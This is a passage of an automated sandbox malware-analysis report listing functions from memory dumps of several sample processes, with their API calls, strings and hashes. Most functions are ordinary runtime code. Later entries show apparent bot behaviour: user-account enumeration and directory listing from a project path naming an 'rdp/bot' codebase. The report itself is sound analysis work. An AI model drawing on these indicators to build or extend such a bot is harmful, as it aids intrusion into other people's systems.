Opcode Fuzzy Hash: 275ec92ee00db215cc1bcca50748eec47cfb9bfded2309289b8973e2e256f0ab
Instruction Fuzzy Hash: 96F0B22898960285FB84BB51E864370EAA0AF40304FC9A136C00E662F0CF3DE0659762

Function 00007FF7E3CEA96B Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00007FF7E3CFA1E8,00000000,?,?,?,00007FF7E3CFA1E0,00007FF7E3CE1208,?,?,?,00007FF7E3CE1313), ref: 00007FF7E3CEABC2

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF7E3CEAB5D
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7E3CEAA62
Unknown pseudo relocation bit size %d., xrefs: 00007FF7E3CEAAEB

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: a66f9ddc854b527654f3001909f1cb736110354a96681d0a13771c5c9f7ebb02
Instruction ID: c48cfb8f94da7e1a2020a12558226423cc65ab3e367a52887eb579c5a7210655
Opcode Fuzzy Hash: a66f9ddc854b527654f3001909f1cb736110354a96681d0a13771c5c9f7ebb02
Instruction Fuzzy Hash: D661D279F986428DEB90AB12D540378BBA1AB44794F849333D91CA37F5CE3CE550DB22

Function 00007FF7E3CE19C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleHandleExA.KERNEL32 ref: 00007FF7E3CE19DE
GetLastError.KERNEL32 ref: 00007FF7E3CE19FB

Strings

module_current, xrefs: 00007FF7E3CE1A04
[E] (%s) -> GetModuleHandleExA failed(gle=%lu), xrefs: 00007FF7E3CE1A0B

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: [E] (%s) -> GetModuleHandleExA failed(gle=%lu)$module_current
API String ID: 4242514867-2427012484
Opcode ID: 38d7a92dea63755e6a28399a3a56b3c40770c0a548c9f0cb618223bc2397f0ac
Instruction ID: c837ab8d0bd941d8c2a2f523207476bcd287cd70ace891bef377a9459cd4d9fa
Opcode Fuzzy Hash: 38d7a92dea63755e6a28399a3a56b3c40770c0a548c9f0cb618223bc2397f0ac
Instruction Fuzzy Hash: 24F03025A4C60280E7A0BB55E4503B9ABA0EB44398FC44233C64D666F4CF3CD168D723

Function 00007FF7E3CF0150 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7E3CF01CB
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF7E3CF01E6
MultiByteToWideChar.KERNEL32 ref: 00007FF7E3CF023A
_errno.MSVCRT ref: 00007FF7E3CF0244

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: b7e47614b01a7040d6e60f2510ffabcfe71ed503a462e64265e5097d757dc550
Instruction ID: e09f9aec0225da3d740b6092e26feb10058eab31a644f0102f5a332d1133c3ab
Opcode Fuzzy Hash: b7e47614b01a7040d6e60f2510ffabcfe71ed503a462e64265e5097d757dc550
Instruction Fuzzy Hash: 23312B71A4C29185F7B06F209460379EEE0AB85B88F448176DA8C637E5CF3DE4548722

Function 00007FF7E3CEAC27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF7E3CEACE6
signal.MSVCRT ref: 00007FF7E3CEACFB

Strings

CCG , xrefs: 00007FF7E3CEAC46

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: e05e11b7b03da478cb3eff391acbc219d4d7163988d74bb8d834af9c7e0f8f44
Instruction ID: 458cf56db16c69b5a6e06c980be5086118829eef7ffe437b6de4dd6c18a8389b
Opcode Fuzzy Hash: e05e11b7b03da478cb3eff391acbc219d4d7163988d74bb8d834af9c7e0f8f44
Instruction Fuzzy Hash: D421D529E8C1124EFBE4325A8440338AD81AF44761F956B33C90EE62F1CD3DE8817123

Function 00007FF7E3CEA6D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

Unknown error, xrefs: 00007FF7E3CEA6E7
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: eb184aebe725f6c31738ef2dd5e8f3b42b676bc68a3f698a16aca6e6f7ce1523
Instruction ID: 96c0234875d2ce45f0a595b4da24bf94ad5f266f8df1a243ba94fb34ddbc8694
Opcode Fuzzy Hash: eb184aebe725f6c31738ef2dd5e8f3b42b676bc68a3f698a16aca6e6f7ce1523
Instruction Fuzzy Hash: 22117366808E8482D6519F1CE4413EAB7B0FF9A759F515326EBC826264DF3DD1668700

Function 00007FF7E3CEA72B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF7E3CEA72B
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: a62f7440f3da8faac09ae7ec79a5f8cc0f8ffb060ae32dd71dd6362f98a5d4bc
Instruction ID: 6dccbd2d94c75d2da0a002692bdcd21b90678a1bb1d61a9fc22240f86e661775
Opcode Fuzzy Hash: a62f7440f3da8faac09ae7ec79a5f8cc0f8ffb060ae32dd71dd6362f98a5d4bc
Instruction Fuzzy Hash: 58F06D66808F8482D211DF18E4402ABB7B0FF9E789F615327EBC936664DF3DD1528700

Function 00007FF7E3CEA722 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

Total loss of significance (TLOSS), xrefs: 00007FF7E3CEA722
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 13a3b1830272570e6661193a87d44eff3ce7335499efeae423e896c0a233d03e
Instruction ID: e5c55ca138fb288b85adf79a4ea97a0f1c38dbce905b3157c158650cfe6ec707
Opcode Fuzzy Hash: 13a3b1830272570e6661193a87d44eff3ce7335499efeae423e896c0a233d03e
Instruction Fuzzy Hash: 92F06D66808F8482D251DF18E4002ABB7B0FF9E789F615327EBC936664DF3DD1528700

Function 00007FF7E3CEA719 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D
Partial loss of significance (PLOSS), xrefs: 00007FF7E3CEA719

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: bfc60d37ca9a6988f5593f672af36c5057a585c8f9be36fa9b4a9f9ad44e5480
Instruction ID: ffa540413da282c4b4696de238939cccdc77591fed06bc650561c6b7484536b6
Opcode Fuzzy Hash: bfc60d37ca9a6988f5593f672af36c5057a585c8f9be36fa9b4a9f9ad44e5480
Instruction Fuzzy Hash: C4F06D66808F8482D211DF18E4002ABB7B0FF9E789F615327EBC936664DF3DD1528710

Function 00007FF7E3CEA710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF7E3CEA710
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 61c76801d709749aa9f8a6a9a4260049e065b685215aedcdc6761c85533db195
Instruction ID: 27b4fe5c1fc3326422d0a83302b1d0e495bd0428680a08f7df9c7bfeca617746
Opcode Fuzzy Hash: 61c76801d709749aa9f8a6a9a4260049e065b685215aedcdc6761c85533db195
Instruction Fuzzy Hash: 40F06D66808F8482D211DF18E4002ABB7B0FF9E789F615327EBC936664DF3DD1528710

Function 00007FF7E3CEA707 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

Argument domain error (DOMAIN), xrefs: 00007FF7E3CEA707
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 0898788bb1916c83e4039a5ab0167b2e3a86215b5e3d392d65df68120d82ac9e
Instruction ID: 0c056f0e48caf8113c863523efa33019f111c37c749428a935e6d396814b9ee1
Opcode Fuzzy Hash: 0898788bb1916c83e4039a5ab0167b2e3a86215b5e3d392d65df68120d82ac9e
Instruction Fuzzy Hash: CEF06D66808F8482D251DF18E4002ABB7B0FF9E789F615327EBC936664DF3DD1569700

Function 00007FF7E3CEA734 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7E3CEA78A

Strings

Argument singularity (SIGN), xrefs: 00007FF7E3CEA734
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E3CEA77D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 1e66a750eef62416fe29ac226196076c421e718d702112074ece5bc511332d35
Instruction ID: 60d275cb8a7aeec0e7ce933da763dc2b146a509489dd3244f7af712ea826125e
Opcode Fuzzy Hash: 1e66a750eef62416fe29ac226196076c421e718d702112074ece5bc511332d35
Instruction Fuzzy Hash: 6DF01966808F8482D2119F18E4002ABB7B0FF9E789F615327EFC82A664DF3DD5528B00

Analysis Process: yhar2he6rpt6n0h1w6rh.exePID: 7704, Parent PID: 6132COMMON

Executed Functions

Function 00007FF70BD112FD Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1546689137.00007FF70BD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF70BD10000, based on PE: true

Associated: 00000012.00000002.1546657188.00007FF70BD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1546713788.00007FF70BD20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1546713788.00007FF70C31C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1550262942.00007FF70C72E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1550288396.00007FF70C736000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1550288396.00007FF70C738000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1550330294.00007FF70C739000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1550351839.00007FF70C73C000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff70bd10000_yhar2he6rpt6n0h1w6rh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4189dc0bd0b40e525df6bacc68198785b1c73d26038d43092f54cabf3c1e858b
Instruction ID: cd1beba6171c46b160d8f1b6ab330e886e55fe349c11fb280a897590ed2d8214
Opcode Fuzzy Hash: 4189dc0bd0b40e525df6bacc68198785b1c73d26038d43092f54cabf3c1e858b
Instruction Fuzzy Hash: 1FB09220A18A4188E2043F169C41258A6206F48710F801430C50C12362CB6C50814B20

Analysis Process: main.exePID: 7988, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 00007FFB22706DA3 Relevance: 54.6, APIs: 23, Strings: 8, Instructions: 332
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

LocalAlloc.KERNEL32 ref: 00007FFB22706DD8
wcsncpy.MSVCRT ref: 00007FFB22706E06
LookupAccountNameW.ADVAPI32 ref: 00007FFB22706E63
GetLastError.KERNEL32 ref: 00007FFB22706E75
GetLastError.KERNEL32 ref: 00007FFB22706EBE
LocalAlloc.KERNEL32 ref: 00007FFB22706EED
LookupAccountNameW.ADVAPI32 ref: 00007FFB22706F29
LocalFree.KERNEL32 ref: 00007FFB22706F36
GetLastError.KERNEL32 ref: 00007FFB22706F41

Part of subcall function 00007FFB227040D2: EnterCriticalSection.KERNEL32 ref: 00007FFB227041A3
Part of subcall function 00007FFB227040D2: LeaveCriticalSection.KERNEL32 ref: 00007FFB227041CB
Part of subcall function 00007FFB227040D2: CopyFileA.KERNEL32 ref: 00007FFB22704228

GetProcessHeap.KERNEL32 ref: 00007FFB22707234
HeapAlloc.KERNEL32 ref: 00007FFB22707245

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22706DAD, 00007FFB22707262
sid_to_str, xrefs: 00007FFB227070CA
mem_alloc, xrefs: 00007FFB22706DA6, 00007FFB2270725B
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FFB22706E87, 00007FFB22706ED3, 00007FFB22706F53
D, xrefs: 00007FFB22706DF5
[D] (%s) -> User found(name=%s,s_sid=%s,acct_expires=%x,last_logon=%x), xrefs: 00007FFB227070B0
users_sync, xrefs: 00007FFB22706E80, 00007FFB22706ECC, 00007FFB22706F4C, 00007FFB227070A9
[E] (%s) -> ConvertSidToStringSid failed(gle=%lu), xrefs: 00007FFB227070D1

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: AllocErrorLastLocal$AccountCriticalHeapLookupNameSection$CopyEnterFileFreeLeaveProcessfflushfwritewcsncpy
String ID: D$[D] (%s) -> User found(name=%s,s_sid=%s,acct_expires=%x,last_logon=%x)$[E] (%s) -> ConvertSidToStringSid failed(gle=%lu)$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$sid_to_str$users_sync
API String ID: 3624467404-104752423
Opcode ID: f77c6fcf1061f4f146997536a93bdebe5b0009022fe2d2267c1482a4f8b7796d
Instruction ID: 84c31fd12badb862192710dbee6de7bbf1bf38d420e3b2df10f191e183746b16
Opcode Fuzzy Hash: f77c6fcf1061f4f146997536a93bdebe5b0009022fe2d2267c1482a4f8b7796d
Instruction Fuzzy Hash: 57F191A2A0C68282FB5A8B34EC503B963A1EF86744F144136D54DC77B8DEBCEE49C741

Function 00007FFB22765BF3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FFB22765C39
strcpy.MSVCRT ref: 00007FFB22765C54
FindFirstFileA.KERNEL32 ref: 00007FFB22765D27
GetLastError.KERNEL32 ref: 00007FFB22765D43
GetLastError.KERNEL32 ref: 00007FFB22765D72
FindClose.KERNEL32 ref: 00007FFB22765D90

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

(path != NULL), xrefs: 00007FFB22765C89
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FFB22765DA8
(resume_handle != NULL), xrefs: 00007FFB22765CF9
(name != NULL), xrefs: 00007FFB22765CC1
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FFB22765D64
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB22765C82, 00007FFB22765CBA, 00007FFB22765CF2
fs_dir_list, xrefs: 00007FFB22765C90, 00007FFB22765CC8, 00007FFB22765D00, 00007FFB22765D5D, 00007FFB22765DA1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22765C97, 00007FFB22765CCF, 00007FFB22765D07

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-1535167640
Opcode ID: 4949fe7bc8a222cefbf3ead6bf23d32448817b897e803bddc4395f5859a246e4
Instruction ID: ca6aa27477e8789c38f7b6236143183bf550c739b53148537807e7d811fd1453
